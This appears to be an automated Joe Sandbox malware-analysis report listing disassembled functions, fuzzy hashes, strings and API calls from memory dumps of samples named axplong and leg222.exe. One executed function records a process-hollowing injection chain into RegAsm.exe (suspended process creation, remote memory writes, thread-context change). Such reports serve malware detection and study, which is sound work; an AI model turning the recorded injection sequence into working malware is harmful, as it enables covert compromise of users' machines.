Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b920966d8c5ac9d0bd23672470490ae35fe7a89e12d080ec07b63dbefd214b3b
Instruction ID: 6f2c1f923387498ba80c6fd51003176b118da7c2f1c79bd9dd89bc83b6c921b8
Opcode Fuzzy Hash: b920966d8c5ac9d0bd23672470490ae35fe7a89e12d080ec07b63dbefd214b3b
Instruction Fuzzy Hash: CE11A723F30C295B675C81BD8C1727AA1D2EBD825071F433AD827E72C4E9A4DE13D290

Function 00A08700 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: d9672ee8112099821a865a179280bf794fcc9d77a3e215e8443ab866eb264a55
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: C7112B7B60008A87D6148B2EF8F86B6A795EFC532073C437AD1C24B7DCDB2A99459608

Function 009F643B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 568e6db9a80f69a66fec1d91940bcb222699d0590b28219559302f84a7e77d71
Instruction ID: 229790e9fb522d20cf1f36ecfa46e63408e0bd736a73409a3ecb443ad8b4bb8e
Opcode Fuzzy Hash: 568e6db9a80f69a66fec1d91940bcb222699d0590b28219559302f84a7e77d71
Instruction Fuzzy Hash: 27E08C3024264CAECE2A7B14C809A683F2AEF52399F008804F91846232CB26EC81CA90

Function 009FA1A2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 4d8d2557fca7793d9d5f3685df59738f2a23b2cb66070bd47fe107764e592a06
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: A7E08C72A1923CEBCB24DB88C944A9AF3ECEB88B00F120496B605E3250C274DE00C7D0

Function 009D2DF0 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

invalid stoi argument, xrefs: 009D422A
Gl==, xrefs: 009D366E
Xst=, xrefs: 009D338A
246122658369, xrefs: 009D33A4
Inhk, xrefs: 009D375F
9wGTaHilQw==, xrefs: 009D2E97
stoi argument out of range, xrefs: 009D2DF0, 009D4239

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$9wGTaHilQw==$Gl==$Inhk$Xst=$invalid stoi argument$stoi argument out of range
API String ID: 0-301961687
Opcode ID: c8ee7d0e78d4950d7216247ecaa23135c25d1283325f644aae8a67b986a50e57
Instruction ID: 65355660565604f6496632bb8c5a9ece42f3f8789c1fa89c7cfcb239993ba446
Opcode Fuzzy Hash: c8ee7d0e78d4950d7216247ecaa23135c25d1283325f644aae8a67b986a50e57
Instruction Fuzzy Hash: F702C170900248EFEF14DFA8C945BDEBBB5EF45304F508599E805A7382D7759A84CFA2

Function 009C2DC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 009C2E5F
GetCurrentThreadId.KERNEL32 ref: 009C2E7E
__Mtx_unlock.LIBCPMT ref: 009C2ECC
__Cnd_broadcast.LIBCPMT ref: 009C2EE3
__Mtx_unlock.LIBCPMT ref: 009C2FF5
GetCurrentThreadId.KERNEL32 ref: 009C3032
__Mtx_unlock.LIBCPMT ref: 009C309B

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 089cf520ce97d9db8ed3960977a40a0699e63a064de8f74f2f5585c6aa96b071
Instruction ID: adae3f8f8a90039dc553cbca25ca1a6534d49bb0dced939999981212223fee1d
Opcode Fuzzy Hash: 089cf520ce97d9db8ed3960977a40a0699e63a064de8f74f2f5585c6aa96b071
Instruction Fuzzy Hash: 80A1D0B1E4521A9FDB20DB64C944B6AB7B8FF45350F04C66EE815D7381EB34EA04CB92

Function 009F4750 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 009F4787
___except_validate_context_record.LIBVCRUNTIME ref: 009F478F
_ValidateLocalCookies.LIBCMT ref: 009F4818
__IsNonwritableInCurrentImage.LIBCMT ref: 009F4843
_ValidateLocalCookies.LIBCMT ref: 009F4898

Strings

csm, xrefs: 009F482D

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 25a0334bb1f34bdb6c7793574b290def5f245402356b780b30b9a5d21f80ab8f
Instruction ID: 05fcebee4ce5d5b8fc5f7b3126a6bbce69d09c3abba765a2ed1688479b48b3dd
Opcode Fuzzy Hash: 25a0334bb1f34bdb6c7793574b290def5f245402356b780b30b9a5d21f80ab8f
Instruction Fuzzy Hash: F051B434A0024CABCF10DF68D881ABF7BB9BF85364F148165EA159B352D732EE55CB90

Function 009F70A9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 009F70EB

Strings

.bat, xrefs: 009F711A
.com, xrefs: 009F712B
.exe, xrefs: 009F70F8
.cmd, xrefs: 009F7109

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 0344d44bc46acc1e0605f4cb7f2d845813aecce1c854fc262082570898dbb0b7
Instruction ID: 987831d70d1943603f05a49adf4dce7d64a6d3077adfb163a00004e4380d5ace
Opcode Fuzzy Hash: 0344d44bc46acc1e0605f4cb7f2d845813aecce1c854fc262082570898dbb0b7
Instruction Fuzzy Hash: B901C837B0C61E3556146499DC02777DB9C9FD2BB8B19002AFA44F72C2EE94DC9183A0

Function 009FC990 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009FCA17

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: f3b51db0dcd3c6a8bf3a719428d0660384d978bf9826f5eddf89cf292816bdd9
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: FCB149B190024D9FDB15CF28CA827BEBBE5EF55340F14C56AE695EB341D6389D01CB50

Function 009DBA72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 009DBACA
__Xtime_diff_to_millis2.LIBCPMT ref: 009DBAE4
_xtime_get.LIBCPMT ref: 009DBB07
__Xtime_diff_to_millis2.LIBCPMT ref: 009DBB13

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 7409cbeb684a9fe5d120ac01df16d97b7a332f848ac56f117326aa2e5894002c
Instruction ID: b4580889ce6952db03851973d14b522d36f7ff3732d13a2ca0c99b5e687acdd1
Opcode Fuzzy Hash: 7409cbeb684a9fe5d120ac01df16d97b7a332f848ac56f117326aa2e5894002c
Instruction Fuzzy Hash: 1F212CB5A4011AAFDF00EFA4DD81ABEB7B8EF48710F518066F901A7351DB74AD01DBA0

Analysis Process: leg222.exePID: 6472, Parent PID: 6360COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0.9%
Total number of Nodes:	1964
Total number of Limit Nodes:	21

Executed Functions

Function 005E018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,005E00FF,005E00EF), ref: 005E02FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 005E030F
Wow64GetThreadContext.KERNEL32(00000114,00000000), ref: 005E032D
ReadProcessMemory.KERNELBASE(00000118,?,005E0143,00000004,00000000), ref: 005E0351
VirtualAllocEx.KERNELBASE(00000118,?,?,00003000,00000040), ref: 005E037C
WriteProcessMemory.KERNELBASE(00000118,00000000,?,?,00000000,?), ref: 005E03D4
WriteProcessMemory.KERNELBASE(00000118,00400000,?,?,00000000,?,00000028), ref: 005E041F
WriteProcessMemory.KERNELBASE(00000118,?,?,00000004,00000000), ref: 005E045D
Wow64SetThreadContext.KERNEL32(00000114,005F0000), ref: 005E0499
ResumeThread.KERNELBASE(00000114), ref: 005E04A8

Strings

ReadProcessMemory, xrefs: 005E027A
WriteProcessMemory, xrefs: 005E02A0
TerminateProcess, xrefs: 005E038B
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 005E02FB
GetThreadContext, xrefs: 005E0267
VirtualAllocEx, xrefs: 005E028D
SetThreadContext, xrefs: 005E02B3
GetP, xrefs: 005E020F
VirtualAlloc, xrefs: 005E0254
ResumeThread, xrefs: 005E02C9
aryA, xrefs: 005E01D3
Load, xrefs: 005E01CB
CreateProcessA, xrefs: 005E0241
ress, xrefs: 005E0217

Memory Dump Source

Source File: 00000004.00000002.2304256581.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5e0000_leg222.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: 53e12aec569a6f31d1b17e31c5d3f22da22a75ce9488bf355e4f1ebdad7c4cd8
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: A7B1E57660028AAFDB60CF69CC80BDA77A5FF88714F158524EA0CAB341D774FA41CB94

Function 00AA52C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AA52CD
std::_Lockit::_Lockit.LIBCPMT ref: 00AA52E7
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA5308
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA5334
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA5369
std::_Lockit::_Lockit.LIBCPMT ref: 00AA53A6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AA53F7
std::_Facet_Register.LIBCPMT ref: 00AA5416
std::_Lockit::~_Lockit.LIBCPMT ref: 00AA542F

Strings

bad locale name, xrefs: 00AA543E

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Locinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 3434717313-1405518554
Opcode ID: 7325e82a394526fffbfb247ac9c0439fa2c3d86199f8a3580a9a2ed2b39a7c9c
Instruction ID: bce83795406be354fe4dc1465fc3c3412c6e1f03d2f05552bd5e38340fcfd9e0
Opcode Fuzzy Hash: 7325e82a394526fffbfb247ac9c0439fa2c3d86199f8a3580a9a2ed2b39a7c9c
Instruction Fuzzy Hash: AC41CE31A087408FC750DF24D990B5FB7F0AFD2760F05095DE8898B291DBB5E909CBA2

Function 00AC9A10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00AC9A6D

Part of subcall function 00AAA892: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000), ref: 00AAA89E
Part of subcall function 00AAA892: GetExitCodeThread.KERNEL32(?,?), ref: 00AAA8B7
Part of subcall function 00AAA892: CloseHandle.KERNEL32(?), ref: 00AAA8C9

std::_Throw_Cpp_error.LIBCPMT ref: 00AC9AAB
std::_Throw_Cpp_error.LIBCPMT ref: 00AC9AB2
std::_Throw_Cpp_error.LIBCPMT ref: 00AC9AB9
std::_Throw_Cpp_error.LIBCPMT ref: 00AC9AC0

Strings

Success destroyed., xrefs: 00AC9B19, 00AC9B28
Success created., xrefs: 00AC9A13, 00AC9A24

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$Thread$CloseCodeCurrentExitHandleObjectSingleWait
String ID: Success created.$Success destroyed.
API String ID: 2210105531-4203135720
Opcode ID: 67b384cbdc8b302cf308cb40d0f497c1a8662b49958069476e1d1e91004968f3
Instruction ID: 212c50a880f7923b6c7d8adf759370050e81158ba34033a72e1890f7c4ef82c5
Opcode Fuzzy Hash: 67b384cbdc8b302cf308cb40d0f497c1a8662b49958069476e1d1e91004968f3
Instruction Fuzzy Hash: 64312D71A40701BAD7207BB48D07F5FB7A8EF06B90F104929F515AB2C2EB719500C3A5

Function 00AB8C4F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,8B0E21E6,?,00AB8D5C,?,?,?,00000000), ref: 00AB8D10

Strings

api-ms-, xrefs: 00AB8CA6
ext-ms-, xrefs: 00AB8CBA

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
